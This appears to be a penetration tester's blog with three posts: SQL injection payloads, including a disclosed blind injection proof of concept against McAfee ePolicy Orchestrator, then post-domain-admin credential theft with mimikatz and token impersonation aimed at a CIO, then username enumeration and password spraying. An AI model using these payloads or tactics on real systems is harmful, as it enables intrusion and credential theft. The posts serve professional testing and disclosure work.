Twitter

Entries in 101 (3)

Tuesday
Oct082013

Exploiting Integer Based SQL Injection in Nested SQL Queries

In this post I’ll be talking you through exploiting what turned out to be an interesting SQL Injection variation - SQL injection involving nested queries and arithmetic evaluation.

Consider the following example application requests and responses:

Request:
nested.php?id=1

Response:
your account balance is: 16230

Request:
nested.php?id=10

Response:
your account balance is: 56963

The underlying SQL query in this case is equivalent to the following:
SELECT balance from balances where account_number=(SELECT account_number from accounts where id=?);

This parameter is vulnerable to integer based SQL Injection, which we can verify by using the following “id=1” parameter value equivalents:

Request:
id=1

Response:
your account balance is: 16230

Request:
id=0.5*2

Response:
your account balance is: 16230

Request:
id=10/10

Response:
your account balance is: 16230

Request:
id=2-1

Response:
your account balance is: 16230

This is pretty conclusive proof that our “id” values are being evaluated as part of a dynamic SQL query. Still it’s always worth proving the negative case, so we can go ahead and test a few other numerical values and see if they return other balance values.

Let’s see what happens if we try to return the MySQL version:

Request:
id=@@version

Response:


No luck. Still we can leverage the fact that we can manipulate integers to infer the result of the above version request. We can do this by using the MySQL “ASCII” native function. The ASCII function will take a string and return to us the leftmost character as a decimal value.

Request:
id=ASCII(@@version)

Response:
your account balance is: 990

Great! It looks like the expression evaluated and returned a response based on the first character of the version string.

By spidering all possible id values we discover that the balance value 990 belongs to the account with id value “53”:

Request:
nested.php?id=53

Response:
your account balance is: 990

So we now know that the decimal ASCII value of the first character is the MySQL version string is “53”. If we use an ascii lookup table we can map this value to the “5” character. The first character in the MySQL version string is “5”.

To get the other characters in the version string, we can use the MySQL “SUBSTRING” native function. Let’s use it in our example to return the second character of the version string:

Request:
id=ASCII(SUBSTRING(@@version,2,1)) Response:
your account balance is: 96146

The response is equivalent to a request to “id” value “46” which indicates that the second character in the version string is a “.” character.

Using this technique we can step through each character and enumerate the whole response string. To aid us in the process we can get the total length of the version string by using the MySQL “CHAR_LENGTH” native function.

Request:
id=CHAR_LENGTH(@@version)

With the response being equivalent to “23”.

I think we’ve proved a point here in what is a fairly contrived scenario. In this example we can actually bypass this whole process as there is no actual filtering involved (just implicit type-casting in the SQL query). The following request will return the whole version string:

Request:
id=53) union select @@version — -

Response:
your account balance is: 5.5.28-0ubuntu0.12.04.3

This teaches us a lot about the power of close brackets in evaluating potential SQL injection (you don’t always need a quote!) but it doesn’t teach us a lot about real world exploitation where filtering is enabled.

For my next trick we’ll look at an example where this technique was used to identify and exploit an 0day SQL Injection issue in the McAfee ePolicy Orchestrator product.

Disclosure Details:

McAfee ePolicy Orchestrator (ePO) 4.6.5 Blind SQL Injection Via SQL Arithmetic

Vulnerability Type: Blind SQL Injection

Company: Gotham Digital Science

Affected Software: McAfee ePolicy Orchestrator (ePO) 4.6.5 (Build 168)

McAfee Security Bulletin: http://kc.mcafee.com/corporate/index?page=content&id=SB10043

Vulnerability Description:

The ‘uid’ parameter passed to the ‘DisplayMSAPropsDetail.do’ page allows for the passing of SQL arithmetic that is evaluated as a dynamic SQL statement. The database backend evaluates these values and then returns the associated record.

Exploitation:

The following request and response pairs demonstrate the use of the SQL integer evaluation injection:

Request:
/EPOAGENTMETA/DisplayMSAPropsDetail.do?registeredTypeID=epo.rt.computer&uid=1

Response:
GDSSECURITY

Request:
/EPOAGENTMETA/DisplayMSAPropsDetail.do?registeredTypeID=epo.rt.computer&uid=0.5*2

Response:
GDSSECURITY

(The response value ‘GDSSECURITY’ is related to the host name of a machine being referenced by the ‘uid’ value and is returned as part of the response data).

Since we know that making a request with the ‘uid’ parameter value set to 1 returns the value host-name value ‘GDSSECURITY’ we can use any query that evaluates to 1 and confirm that it evaluates to 1 by getting the expected response back.

For example consider the following Request:
/EPOAGENTMETA/DisplayMSAPropsDetail.do?registeredTypeID=epo.rt.computer&uid=1 * ASCII(SUBSTRING(@@version,1,1)) / 77

If the value of the first character of the database version is equal to ‘M’ then the arithmetic will be equivalent to “1 * 77 / 77” (i.e the value “1”).

We run into a practical challenge in certain situations in that SQL Server will, in some cases, round off equations evaluating to non-whole number results.

For example the following queries will both be rounded down to the same result (the value “1”):

select 1 * ASCII(SUBSTRING(@@version,1,1)) / 77 = 1 select 1 * ASCII(SUBSTRING(@@version,1,1)) / 76 = 1

To compensate for this we can explicitly cast the return value as a float by first dividing by the decimal value ‘0.5’ as per the following example:

SELECT 1 * 0.5 * ASCII(SUBSTRING(@@version,1,1)) / 0.5 / 77

In these conditions SQL Server will handle the casting of return values according to its own internal rules. With the return value cast as a float integer we can perform the arithmetic we need without the danger of rounding down and getting inaccurate responses.

The following proof of concept will use these techniques to validate the first character of the server version as the ASCII value 77 or ‘M’:

/EPOAGENTMETA/DisplayMSAPropsDetail.do?registeredTypeID=epo.rt.computer&uid=1 * 0.5 * ASCII(SUBSTRING(@@version,1,1)) / 0.5 / 77

The application returns the expected record “GDSSECURITY” validating that the first character of the database version string is ‘M’ and therefore most probably a Micosoft SQL Server instance.

Extending the Attack:

It is possible to step out of the restrictions of injecting into a ‘SELECT’ query through the use of stacked queries. The following proof of concept demonstrates the addition of a second, arbitrary query after a completed initial parameter:

/EPOAGENTMETA/DisplayMSAPropsDetail.do?registeredTypeID=epo.rt.computer&uid=0.5*2;WAITFOR DELAY ‘0:0:5’;

This request will result in a 5 second delay before a response is returned by the database and the application.

Epilogue:

So there you have it. Nested SQL queries and type-cast values can be dangerous. If you haven’t already, add “)” and “ASCII(@@version)” to your attack dictionaries.

Wednesday
Sep182013

When Domain Admin Is Not Enough

When conducting a network pentest we often find the goal of the tester, at least on a Windows domain network test, is to get Domain Admin. That is well and good, but for impact nothing beats capturing the CIOs desktop, documents or e-mail. So how do we get there?

When we are testing networks we often talk about network mapping and recon.  Its almost described as a matter of course in most books on network hacking. Sadly, often a tester will run Nmap and not even wait for the results before kicking off a scanner or running an exploit.

In actual fact, network reconnaissance can be the most important part of an assessment, and Nmap isn’t always the best or most appropriate tool for this particular job. Never underestimate the use and value of tools such as Wireshark, traceroute, ping and tcptraceroute in mapping a network.

When pentesting a Windows network, we’re probably going to be running Nmap near the start of the engagement, however at this point we are unlikely to be authenticated to the domain. We need to remember to come back to this as soon as we have managed to gain access to our first domain account - the first toehold.

The Kung Fu Toehold

Getting that first toehold can be tricky, but there are a number of ways:

  1. Sniffing (ARP poisoning or even just listening to broadcasts)
  2. SMB traffic redirection
  3. Exploit a single unpatched host

With SMB redirection we can capture hashes and crack them, but that is CPU intensive and often there are easier ways.  However sometimes the simple ways are still the best - printers can be very helpful. With only read access to printer queues, we have a goldmine of usernames. 

Dont Lock Out The Domain

Next we can kick-off a brute force attack - but lets be smart about this. Most Windows networks have account lockout policies in place. This could result in a tester doing a Denial of Service on the network if they’re not careful. Try explaining to a systems admin why you’ve locked out all of the users in the middle of the day - not something you ever want to have to do. So we need to think around the problem and proceed carefully.

On a recent test we managed to gather 20 usernames, and the lockout policy would have locked us out after 5 failed logins. So we carefully chose 3 passwords and tried them on all the accounts.  This resulted in 4 compromised accounts.  In this situation the password policy strength was set to complex passwords,  but human nature being what it is “Password1” worked for more than 1 account - make sure you think like a normal person, not a security tester. If we know a company has a strong password policy (for example, 6 characters, 1 special, upper and lower), try and come up with the easiest options that match this. “Pa55word!” would work, or even better use permute.exe and give it the company name. 

From Humble Beginnings

Now that we have one or two user accounts we can get all the usernames from the domain, we can fully identify what the password policy is, and we can find out who the domain administrators are.  Tools such as enum4linux.pl and Nmap are fantastic when we want to enumerate users from domain controllers.   We could then just repeat this process and brute force out passwords hoping to get lucky - perhaps  a domain administrator has got the password of “Passw0rd1”  but its unlikely.  If we use the information we have gathered to identify interesting targets this would more likely result in access to the real goal - data.  Also remember with domain access you can potentially view corporate Intranet pages, or sometimes we can see this without a username and password.  If we don’t already have it from external recon, we are likely to find data on the CIO (their name at very least), and perhaps members of the Board. Remember that organisational charts are often a boon in this case.  At this point, hopefully, we now know who we are targeting and can make a decent guess at the  format of the username.

Stay On Target

So now we have our target accounts, what next?  We could use the company Intranet site again;  perhaps finding XSS and using tools like “Shell of the Future” or “BeEF”  to poison requests from the users that we particularly want when we see them come in.  We could even redirect those requests to Metasploit http-ntlmrelay and target specific boxes. This may succeed, however, it could be less surgical than we require. Enter Nmap again.

With Nmap’s SMB scripts and an authenticated user acount we can get the name of a user that is logged in and the IP address of their host machine when scanning the domain controller.  This gives us our target host - the CIOs laptop/desktop.  Once again we may get lucky - this box may not have  been patched. However it is likely that it will be, CIOs are important  and tech support like to make sure that they’re safe.  What next? We could send a malicious document via email. This may hit antivirus, or they may not open it. What we need is hosts that the CIO has sent their password to.

Say we breach a mail server, Citrix server, or even an Intranet web server - we are likely to get something very useful, user passwords. Lost of users will login to these hosts.  We can start off by pulling out the hashes from these machines and passing them across the network.  It is likely that more systems can be compromised this way, however there is a cleaner way. If we want the CIOs desktop we really also want the password in our hand,  so we can turn to WCE.exe, mimikatz or procdump

Windows Credentials Editor, mimikatz and procdump are awesome pieces of software.  They will pull decrypted passwords out of memory (in the case of procdump just the memory). No nasty cracking,  rainbow tables or hash passing.  We just need admin access on the host that our target is logged into, and to disable the antivirus (we’ve found pulling passwords out of memory can trigger some modern antivirus solutions).  This could be a mail server,  Citrix server or perhaps even a desktop.  We dump the passwords and were done.  So we now have the CIOs credentials, but there’s one more thing to think of.

One Desktop To Rule Them All

The next activity is so simple it took me a while to realise how powerful it was.  Presuming we have admin access to a machine on the domain (the CIOs desktop), we can RDP into that host as a privileged user, use “Run As”  with the password or token (via incognito) of the CIO to get a shell, and kill that user’s instance of Explorer.  Then run Explorer from the shell that you have just started.  Your desktop will restart as the CIO  user. We can now easily startup tools like Outlook and have Windows do all the hard work for us.  We can also use this technique when targeting developers.  Using Windows authentication tokens extracted by Metasploit to do the same thing and start up SQL Server Management Studio and (if the SQL Servers are using domain authentication) connect directly to development SQL Servers.  Often the passwords used on those machines can potentially give you access to production hosts.  So just remember Domain Administrator is good, but it isn’t always the most interesting user on the network.

Tools:

Nmap (smb scripts)
Nmap (ldap scripts)
Traceroute
Tcptraceroute
Ping
ldapsearch
Responder
Metasploit (smb_relay)
Metasploit (http_ntlmrelay)
procdump
mimikatz
Wce.exe

Tuesday
Mar262013

Network Testing 101: If Your Name's Not Down, You're Not Getting In

Looking at the basics of network testing, user enumeration is critical. If we can get usernames, access is only a hop skip and a jump away. Well, perhaps only a decent dictionary brute-force away.

The thing is how do we get these usernames? A few basic network pentesting tricks are listed here. Also, as a lot of user names are predictable combinations (such as a combination of first and last names, and initials) it can be fun to find amusing user names on a network.

Simple User Name Enumeration

Time to start with some of the simple stuff, SNMP (Simple Network Management Protocol). Some interesting MIBs (Management Information Base) that result in user enumeration are:

Solaris

  • PROCESS USERNAMES 1.3.6.1.4.1.42.3.12.1.1.8 *

*nix in general

  • MOUNTPOINTS 1.3.6.1.2.1.25.2.3.1.3
  • RUNNING SOFTWARE PATHS 1.3.6.1.2.1.25.4.2.1.4

Windows

  • Windows    INSTALLED SOFTWARE    1.3.6.1.2.1.25.6.3.1.2
  • Windows    USERS     1.3.6.1.4.1.77.1.2.25
  • Windows    SHARES     1.3.6.1.4.1.77.1.2.27

The MIBs listed above give away usernames. Some are obvious. The ones that are less obvious are RUNNING SOFTWARE PATHS and (in Windows) INSTALLED SOFTWARE these may disclose information in the path names as shown below:

.1.3.6.1.2.1.25.4.2.1.4.739 = STRING: “/usr/bin/login”
.1.3.6.1.2.1.25.4.2.1.4.740 = STRING: “/bin/bash”
.1.3.6.1.2.1.25.4.2.1.4.749 = STRING: “/home/auser/tail”

As we can see, the user name auser is disclosed if the full path of the running binary is used. Remember this works only if the user has used the full path to run the process.

The snmpwalk tool is a good place to start for enumerating SNMP data out of a host. There is also the small matter of the community string you’ll also need, however in many cases you can go with the defaults and get information back. Changing these from the default is often overlooked when SNMP is enabled on servers.

Print My User Name

Web and telnet interfaces on printers are often unauthenticated, unencrypted or use default or weak passwords. It is often possible to connect to these repositories of information leakage and grab document names, share locations, and most importantly user names.

As a lot of printers have no lockout controls, even if admin account passwords have been changed you can often brute force passwords on these safely. If we can gain admin access to the printer, there may be other interesting options available as well. In one case, we came across an option to fax a copy of every document printed to a number of our choice. 

Old Problems Never Die

Username enumeration on a Windows domain can be easy or a pain. On a box that accepts null connections we win. We can get the users and also the password policy, shares etc, and tools like enum and enum4linux still have a valuable place in the tool kit. But in a modern Windows AD domain don’t forget the use of LDAP. If it is possible to use null binds via LDAP, tools like ldapenum.pl, ldp.exe and nmap (—script ldap-search) are a good starting point to give you that user list. However, if you don’t have null shares or anonymous bind then you may need to make authenticated connections to the domain to get the same data. This means that one bad password on the network is a foothold to accessing the rest of the domain.

Research, Research, Research

In a lot of Exchange environments the user’s email address will contain their username. Robert Smith, for example, is [email protected] - it’s likely that “rsmith” is his login. But do remember that with common names this may not be the case.  A lot of this kind of data can be gathered from company web pages or Intranet sites…. or even bouncing a couple of emails into the organisation can work for this. If the company has an internal anonymously accessible wiki this can be a nice resource as well.

Listen, Did You Smell That?

Sniffing network traffic can also help out with delivering those user names. You may even get those passwords you’re looking for - never discount the amount of clear text protocols that are still in use. Also many companies will use TLS/SSL on their public web sites, but not encrypt internally.

I Never Metadata I Didn’t Like

In Office documents the metadata will contain, amongst other things, the name of the user who created that document. If we know the schema, this can give you the username. Also if the company writes Silverlight or .NET applications, then decompilation can give you pathnames, again with valid usernames.

Now Pay Attention 007

There is a reason to wear headphones with no music playing. If you are sitting onsite amongst IT Staff or developers you may hear the phrase: “What user should I log on as?” around you. If you are lucky they may even shout out passwords. Also there is the old tried and true method of just asking. Some call it social engineering but that’s a topic for another post. 

Sharing Your Toys

So you find a file share. Now there are lots of awesome things you can do: SMB relay attacks, trojan documents, DLL injection (if some one is dumb enough to share the wrong thing). But one of the other things you can do when a domain user visits the share is have a file there that points back to us. This could be an image in the document, a second embedded document in our Excel sheet (that we host), or a malicious shortcut file with an icon on our machine. When they access this, a bit of metasploit SMB sniffing and we can get the username as well as NTHASH and (if they are using it) the LMHASH. 

Guess Who - Are You “bin”?

On smtp, ftp, and ssh there have been ways to brute force out usernames. This is ok, but is really dependant on the list of usernames you start with. In the spirit of recycling, never throw anything away - every time you gather a name, put it in a file. Next time you have a chance to brute-force out names on an SMTP server via RCPT EXPN and VRFY you will have a good starting point.

Go Wide!

So you’ve got your big list of users? Now we take a big dictionary and hit go! - lock out the accounts and get asked to leave OR perhaps there is a better way? Time to chose a common password and wide-band it across all the accounts. A usual rule is to assume they lock the accounts after 3 failed attempts. So we could choose 2 candidate passwords and try those. If you haven’t found anything at all about the password policy before this stage, now would be a good time to do it. When we know what we can risk, we can make the call and do some brute forcing.  For me, Medusa is my brute forcer of choice. A nice feature is that Medusa that will let you look for “Joe Logins” as well as blank passwords. The nice thing about this one is the tool is modular and supports a large list of protocols. So now from a big list of users we send out 2 passwords per user per hour/day/week. Eventually we get a hit. Next we can use this authenticated access to get more user names and start the brute force loop again. Voila!